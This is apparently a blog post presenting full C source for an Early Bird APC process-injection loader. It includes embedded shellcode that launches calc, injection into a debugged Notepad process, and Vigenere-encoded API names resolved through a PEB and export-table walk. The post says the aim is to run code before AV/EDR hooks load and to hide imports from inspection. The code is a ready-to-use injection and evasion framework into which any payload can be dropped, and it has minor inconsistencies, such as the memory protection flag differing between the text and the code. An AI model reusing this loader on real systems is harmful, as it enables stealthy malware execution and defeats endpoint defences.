Post

Early-Bird-HashedAPIs

Early-Bird-HashedAPIs

Early Bird APC Injection — N0xShell

What is Early Bird?

Early Bird is a process injection technique that abuses Asynchronous Procedure Calls (APCs).
The trick: a newly created process in a debugged state has its main thread in an alertable wait state before any user code runs. Queuing an APC at that exact moment causes it to execute as the very first thing the thread does — before any AV/EDR hooks are in place.

Why it works

When you create a process with DEBUG_PROCESS, the OS suspends the new thread in an alertable state waiting for the debugger to signal it. Calling DebugActiveProcessStop releases that state. If you’ve already queued an APC (via QueueUserAPC) pointing at shellcode you wrote into the process, that APC fires the moment the debug hold is released — before the process’s own main() ever runs.


Execution Flow

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
1. ResolveApis()
   ├── PEB walk → KERNEL32.DLL, NTDLL.DLL base addresses
   ├── Export table walk → resolve 8 function pointers
   └── LoadLibraryA → load SHLWAPI.DLL if not in PEB

2. CreateDebuggedProcess("Notepad.exe")
   ├── GetSystemDirectoryA  → e.g. C:\Windows\System32
   ├── PathAppendA          → C:\Windows\System32\Notepad.exe
   └── CreateProcessA(DEBUG_PROCESS) → hProcess, hThread, dwProcId

3. InjectRemoteProcess(hProcess, Shellcode, ...)
   ├── VirtualAllocEx(PAGE_READWRITE)   → allocate remote buffer
   ├── WriteProcessMemory               → copy shellcode bytes
   ├── SecureZeroV                      → wipe local shellcode copy
   └── VirtualProtectEx(PAGE_EXECUTE_READ) → flip to RX

4. QueueUserAPC(pBufferAddress, hThread)
   └── APC registered on the target thread's queue

5. DebugActiveProcessStop(dwProcId)
   └── Debug hold lifted → thread becomes alertable → APC fires → shellcode runs
Process Flow

Process Flow


API Resolution — Vigenere Encoding

All Windows API names and DLL names are stored encoded in the binary as byte arrays.
No plaintext strings appear in the import table or in .rdata.

Encoding (Python, at build time):

1
encoded[i] = (plaintext[i] + KEY[i % keylen]) % 256

Decoding (C, at runtime):

1
Out[i] = (BYTE)(Enc[i] - VIG_KEY[i % VIG_KEY_LEN]);

Key: "N0xShell"

Module resolutionGetModuleHandleV:
Walks the PEB’s InMemoryOrderModuleList using CONTAINING_RECORD against a fully-defined
MY_LDR_ENTRY struct. No GetModuleHandle call, no IAT entry.

Function resolutionGetProcAddressV:
Parses the PE export directory manually:
AddressOfNames → AddressOfNameOrdinals → AddressOfFunctions.
No GetProcAddress call, no IAT entry.


Files

File Purpose
vigenere.py Encode API/DLL names → C byte arrays at build time
resolve-hashes.h PEB walk, export table walk, encoded arrays, ResolveApis()
main.c CreateDebuggedProcess, InjectRemoteProcess, main

earlybird-hashedapis.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
#include <stdio.h>
#include "resolve-hashes.h"

// calc
unsigned char Shellcode[] = {
    0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
    0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
    0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
    0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
    0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
    0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
    0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
    0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
    0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
    0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
    0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
    0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
    0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
    0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
    0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
    0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
    0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
    0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
    0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
    0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
    0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
    0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
    0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00
};


/*
    Injects shellcode into a remote process's address space

    hProcess -> Handle to target process
    pShellcode -> Pointer to our shellcode base address
    sShellcodeSize -> Size of our shellcode
    ppRemoteAddr -> OUtput base address
*/
BOOL InjectRemoteProcess(_In_ HANDLE hProcess, _In_ PBYTE pShellcode, _In_ SIZE_T sShellcodeSize, _Out_ PVOID* ppRemoteAddr) {
    
    if (!hProcess || !pShellcode || !sShellcodeSize || !ppRemoteAddr)
        return FALSE;
   
    PVOID  pRemoteAddr = NULL;
    SIZE_T sNumOfBytesWritten = 0;
    DWORD  dwOldProtect = 0;
    BOOL   bResult = FALSE;
   
    // Allocate RW memory in the target process
    pRemoteAddr = pVirtualAllocEx(hProcess, NULL, sShellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!pRemoteAddr) {
        printf("[!] VirtualAllocEx Failed: %d \n", GetLastError());
        goto _CleanUp;
    }
   
    // Write shellcode into the remote buffer
    if (!pWriteProcessMemory(hProcess, pRemoteAddr, pShellcode, sShellcodeSize, &sNumOfBytesWritten) || sNumOfBytesWritten != sShellcodeSize) {
        printf("[!] WriteProcessMemory Failed: %d \n", GetLastError());
        goto _CleanUp;
    }
    
    // Wipe local copy
    RtlSecureZeroMemory(pShellcode, sShellcodeSize);
    
    // Change memory permissions, this enables our shellcode to be executed
    if (!pVirtualProtectEx(hProcess, pRemoteAddr, sShellcodeSize, PAGE_EXECUTE_READWRITE, &dwOldProtect)) {
        printf("[!] VirtualProtectEx Failed: %d \n", GetLastError());
        goto _CleanUp;
    }

    *ppRemoteAddr = pRemoteAddr;
    bResult = TRUE;

_CleanUp:
    if (!bResult && pRemoteAddr)
        VirtualFreeEx(hProcess, pRemoteAddr, 0, MEM_RELEASE);
    return bResult;
}


/*
    Creates process with debug flags which enables us to queue the process

    lpProcName -> process name
    dwProcId -> pointer that receive the process id
    hProcess -> receive handle ot the process
    hThead -> handle that recieve the thread
*/
BOOL ProcessDebugged(_In_ LPCSTR lpProcName, _Out_ DWORD* dwProcId, _Out_ HANDLE* hProcess, _Out_ HANDLE* hThread) {
   
    if (!lpProcName)
        return FALSE;

    CHAR                    lpProcPath[MAX_PATH * 2] = { 0 };
    STARTUPINFO                StartupInfo = { 0 };
    PROCESS_INFORMATION        ProcInfo = { 0 };
    
    // Initialize output parameters
    *dwProcId = 0;
    *hProcess = NULL;
    *hThread = NULL;
    
    // Set the required size field on STARTUPINFO
    StartupInfo.cb = sizeof(STARTUPINFO);
   
    // Append the process filename to correct path
    if (!pPathAppendA(lpProcPath, lpProcName)) {
        printf("[!] PathAppendA Failed: %d \n", GetLastError());
        goto _CleanUp;
    }

    if (!pCreateProcessA(NULL, lpProcPath, NULL, NULL, FALSE, DEBUG_PROCESS, 0, NULL, &StartupInfo, &ProcInfo)) {
        printf("[!] CreateProcessA Failed: %d \n", GetLastError());
        goto _CleanUp;
    }

    // Outcast output parameters
    *dwProcId = ProcInfo.dwProcessId;
    *hProcess = ProcInfo.hProcess;
    *hThread = ProcInfo.hThread;

_CleanUp:
    if (*dwProcId == 0 || *hProcess == NULL || *hThread == NULL)
        return FALSE;
    return TRUE;
}


#define TARGET_PROC "Notepad.exe"

int main() {

    HANDLE        hProcess = NULL, hThread = NULL;
    DWORD        dwProcId = 0x00;
    PVOID        pBufferAddress = NULL;

    if (!ResolveApis()) {
        printf("[!] ResolveApis failed\n");
        return -1;
    }
    else
        printf("[+] APIs Resolved \n");


    printf("[+] Creating \"%s\" Process As A Debugged Process \n", TARGET_PROC);

    if (!ProcessDebugged(TARGET_PROC, &dwProcId, &hProcess, &hThread))
        return -1;

    printf("\t[+] Target Process Created With PID: %d \n", dwProcId);

    if (!InjectRemoteProcess(hProcess, Shellcode, sizeof(Shellcode), &pBufferAddress))
        return -1;

    // queue process
    if (pQueueUserAPC((PTHREAD_START_ROUTINE)pBufferAddress, hThread, NULL) == 0) {
        printf("[!] QueueUserAPC Failed: %d \n", GetLastError());
        return -1;
    }

    // After our shellcode is injected, we can continue with execution
    if (!pDebugActiveProcessStop(dwProcId)) {
        printf("[!] DebugActiveProcessStop Failed: %d \n", GetLastError());
        return -1;
    }

    printf("[+] Press <Enter> To exit! \n");
    getchar();

    return 0;
}

resolve-hashes.h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
#pragma once
#include <Windows.h>
#include <winternl.h>
#include <stdint.h>
#include <ctype.h>

// Vigenere key
static const BYTE VIG_KEY[] = "N0xShell";
#define VIG_KEY_LEN            (sizeof(VIG_KEY) - 1)

// Encoded module names
static const BYTE enc_KERNEL32_DLL[] = { 0x99, 0x75, 0xca, 0xa1, 0xad, 0xb1, 0x9f, 0x9e, 0x7c, 0x74, 0xc4, 0x9f };
static const BYTE enc_NTDLL_DLL[] = { 0x9c, 0x84, 0xbc, 0x9f, 0xb4, 0x93, 0xb0, 0xb8, 0x9a };
static const BYTE enc_SHLWAPI_DLL[] = { 0xa1, 0x78, 0xc4, 0xaa, 0xa9, 0xb5, 0xb5, 0x9a, 0x92, 0x7c, 0xc4 };
static const BYTE enc_LoadLibraryA[] = { 0x9a, 0x9f, 0xd9, 0xb7, 0xb4, 0xce, 0xce, 0xde, 0xaf, 0xa2, 0xf1, 0x94 };

// Encoded function names
static const BYTE enc_VirtualAllocEx[] = { 0xa4, 0x99, 0xea, 0xc7, 0xdd, 0xc6, 0xd8, 0xad, 0xba, 0x9c, 0xe7, 0xb6, 0xad, 0xdd };
static const BYTE enc_WriteProcessMemory[] = { 0xa5, 0xa2, 0xe1, 0xc7, 0xcd, 0xb5, 0xde, 0xdb, 0xb1, 0x95, 0xeb, 0xc6, 0xb5, 0xca, 0xd9, 0xdb, 0xc0, 0xa9 };
static const BYTE enc_VirtualProtectEx[] = { 0xa4, 0x99, 0xea, 0xc7, 0xdd, 0xc6, 0xd8, 0xbc, 0xc0, 0x9f, 0xec, 0xb8, 0xcb, 0xd9, 0xb1, 0xe4 };
static const BYTE enc_GetSystemDirectoryA[] = { 0x95, 0x95, 0xec, 0xa6, 0xe1, 0xd8, 0xe0, 0xd1, 0xbb, 0x74, 0xe1, 0xc5, 0xcd, 0xc8, 0xe0, 0xdb, 0xc0, 0xa9, 0xb9 };
static const BYTE enc_PathAppendA[] = { 0x9e, 0x91, 0xec, 0xbb, 0xa9, 0xd5, 0xdc, 0xd1, 0xbc, 0x94, 0xb9 };
static const BYTE enc_CreateProcessA[] = { 0x91, 0xa2, 0xdd, 0xb4, 0xdc, 0xca, 0xbc, 0xde, 0xbd, 0x93, 0xdd, 0xc6, 0xdb, 0xa6 };
static const BYTE enc_QueueUserAPC[] = { 0x9f, 0xa5, 0xdd, 0xc8, 0xcd, 0xba, 0xdf, 0xd1, 0xc0, 0x71, 0xc8, 0x96 };
static const BYTE enc_DebugActiveProcessStop[] = { 0x92, 0x95, 0xda, 0xc8, 0xcf, 0xa6, 0xcf, 0xe0, 0xb7, 0xa6, 0xdd, 0xa3, 0xda, 0xd4, 0xcf, 0xd1, 0xc1, 0xa3, 0xcb, 0xc7, 0xd7, 0xd5 };

// Full LDR_DATA_TABLE_ENTRY layout
typedef struct _MY_UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} MY_UNICODE_STRING;

typedef struct _MY_LDR_ENTRY {
    LIST_ENTRY          InLoadOrderLinks;
    LIST_ENTRY          InMemoryOrderLinks;
    LIST_ENTRY          InInitializationOrderLinks;
    PVOID               DllBase;
    PVOID               EntryPoint;
    ULONG               SizeOfImage;
    MY_UNICODE_STRING   FullDllName;
    MY_UNICODE_STRING   BaseDllName;
} MY_LDR_ENTRY, * PMY_LDR_ENTRY;

// Vigenere decode
static VOID VigDecodeA(_In_ const BYTE* Enc, _In_ SIZE_T Len, _Out_ PCHAR Out) {
    for (SIZE_T i = 0; i < Len; i++)
        Out[i] = (CHAR)((BYTE)(Enc[i] - VIG_KEY[i % VIG_KEY_LEN]));
    Out[Len] = '\0';
}

// ─── SecureZeroV — volatile loop; RtlSecureZeroMemory is FORCEINLINE, not exported ───
static VOID SecureZeroV(_In_ PVOID Ptr, _In_ SIZE_T Len) {
    volatile CHAR* p = (volatile CHAR*)Ptr;
    while (Len--) *p++ = '\0';
}

// GetModuleHandleV (PEB walk)
static HMODULE GetModuleHandleV(_In_ const BYTE* EncMod, _In_ SIZE_T Len) {
    CHAR ModName[MAX_PATH] = { 0 };
    VigDecodeA(EncMod, Len, ModName);

#ifdef _WIN64
    PPEB pPeb = (PPEB)__readgsqword(0x60);
#else
    PPEB pPeb = (PPEB)__readfsdword(0x30);
#endif

    PLIST_ENTRY pHead = &((PPEB_LDR_DATA)pPeb->Ldr)->InMemoryOrderModuleList;
    PLIST_ENTRY pCurr = pHead->Flink;

    while (pCurr != pHead) {
        PMY_LDR_ENTRY pEntry = CONTAINING_RECORD(pCurr, MY_LDR_ENTRY, InMemoryOrderLinks);

        if (pEntry->BaseDllName.Buffer != NULL && pEntry->BaseDllName.Length > 0) {
            CHAR Upper[MAX_PATH] = { 0 };
            DWORD i = 0;
            while (pEntry->BaseDllName.Buffer[i]) {
                Upper[i] = (CHAR)toupper(pEntry->BaseDllName.Buffer[i]);
                i++;
            }
            if (lstrcmpA(Upper, ModName) == 0)
                return (HMODULE)pEntry->DllBase;
        }

        pCurr = pCurr->Flink;
    }

    return NULL;
}

// GetProcAddressV (export table walk)
static FARPROC GetProcAddressV(_In_ HMODULE hModule, _In_ const BYTE* EncFn, _In_ SIZE_T Len) {
    if (hModule == NULL || EncFn == NULL)
        return NULL;

    CHAR FnName[128] = { 0 };
    VigDecodeA(EncFn, Len, FnName);

    PBYTE pBase = (PBYTE)hModule;

    PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)pBase;
    if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
        return NULL;

    PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(pBase + pImgDosHdr->e_lfanew);
    if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
        return NULL;

    PIMAGE_EXPORT_DIRECTORY pExpDir = (PIMAGE_EXPORT_DIRECTORY)(pBase +
        pImgNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

    PDWORD FunctionNameArray = (PDWORD)(pBase + pExpDir->AddressOfNames);
    PDWORD FunctionAddressArray = (PDWORD)(pBase + pExpDir->AddressOfFunctions);
    PWORD  FunctionOrdinalArray = (PWORD)(pBase + pExpDir->AddressOfNameOrdinals);

    for (DWORD i = 0; i < pExpDir->NumberOfNames; i++) {
        CHAR* pFunctionName = (CHAR*)(pBase + FunctionNameArray[i]);
        PVOID  pFunctionAddress = (PVOID)(pBase + FunctionAddressArray[FunctionOrdinalArray[i]]);

        if (lstrcmpA(pFunctionName, FnName) == 0)
            return (FARPROC)pFunctionAddress;
    }

    return NULL;
}

#define GET_MOD(name)       GetModuleHandleV(enc_##name, sizeof(enc_##name))
#define GET_PROC(hMod, fn)  GetProcAddressV(hMod, enc_##fn, sizeof(enc_##fn))

// Function pointer typedefs 
typedef LPVOID(WINAPI* fnVirtualAllocEx)        (HANDLE, LPVOID, SIZE_T, DWORD, DWORD);
typedef BOOL(WINAPI* fnWriteProcessMemory)    (HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T*);
typedef BOOL(WINAPI* fnVirtualProtectEx)      (HANDLE, LPVOID, SIZE_T, DWORD, PDWORD);
typedef UINT(WINAPI* fnGetSystemDirectoryA)   (LPSTR, UINT);
typedef BOOL(WINAPI* fnPathAppendA)           (LPSTR, LPCSTR);
typedef BOOL(WINAPI* fnCreateProcessA)        (LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION);
typedef DWORD(WINAPI* fnQueueUserAPC)          (PAPCFUNC, HANDLE, ULONG_PTR);
typedef BOOL(WINAPI* fnDebugActiveProcessStop)(DWORD);
typedef HMODULE(WINAPI* fnLoadLibraryA)          (LPCSTR);

// Function pointers
static fnVirtualAllocEx         pVirtualAllocEx = NULL;
static fnWriteProcessMemory     pWriteProcessMemory = NULL;
static fnVirtualProtectEx       pVirtualProtectEx = NULL;
static fnGetSystemDirectoryA    pGetSystemDirectoryA = NULL;
static fnPathAppendA            pPathAppendA = NULL;
static fnCreateProcessA         pCreateProcessA = NULL;
static fnQueueUserAPC           pQueueUserAPC = NULL;
static fnDebugActiveProcessStop pDebugActiveProcessStop = NULL;

// ResolveApis
static BOOL ResolveApis(VOID) {
    HMODULE hKernel32 = GET_MOD(KERNEL32_DLL);
    HMODULE hNtdll = GET_MOD(NTDLL_DLL);
    if (!hKernel32 || !hNtdll)
        return FALSE;

    // shlwapi may not be in the PEB yet
    fnLoadLibraryA pLoadLibraryA = (fnLoadLibraryA)GET_PROC(hKernel32, LoadLibraryA);
    if (!pLoadLibraryA)
        return FALSE;

    HMODULE hShlwapi = GET_MOD(SHLWAPI_DLL);
    if (!hShlwapi) {
        CHAR ShlwapiName[MAX_PATH] = { 0 };
        VigDecodeA(enc_SHLWAPI_DLL, sizeof(enc_SHLWAPI_DLL), ShlwapiName);
        hShlwapi = pLoadLibraryA(ShlwapiName);
    }
    if (!hShlwapi)
        return FALSE;

    pVirtualAllocEx = (fnVirtualAllocEx)GET_PROC(hKernel32, VirtualAllocEx);
    pWriteProcessMemory = (fnWriteProcessMemory)GET_PROC(hKernel32, WriteProcessMemory);
    pVirtualProtectEx = (fnVirtualProtectEx)GET_PROC(hKernel32, VirtualProtectEx);
    pGetSystemDirectoryA = (fnGetSystemDirectoryA)GET_PROC(hKernel32, GetSystemDirectoryA);
    pPathAppendA = (fnPathAppendA)GET_PROC(hShlwapi, PathAppendA);
    pCreateProcessA = (fnCreateProcessA)GET_PROC(hKernel32, CreateProcessA);
    pQueueUserAPC = (fnQueueUserAPC)GET_PROC(hKernel32, QueueUserAPC);
    pDebugActiveProcessStop = (fnDebugActiveProcessStop)GET_PROC(hKernel32, DebugActiveProcessStop);

    return (pVirtualAllocEx &&
        pWriteProcessMemory &&
        pVirtualProtectEx &&
        pGetSystemDirectoryA &&
        pPathAppendA &&
        pCreateProcessA &&
        pQueueUserAPC &&
        pDebugActiveProcessStop);
}
This post is licensed under CC BY 4.0 by the author.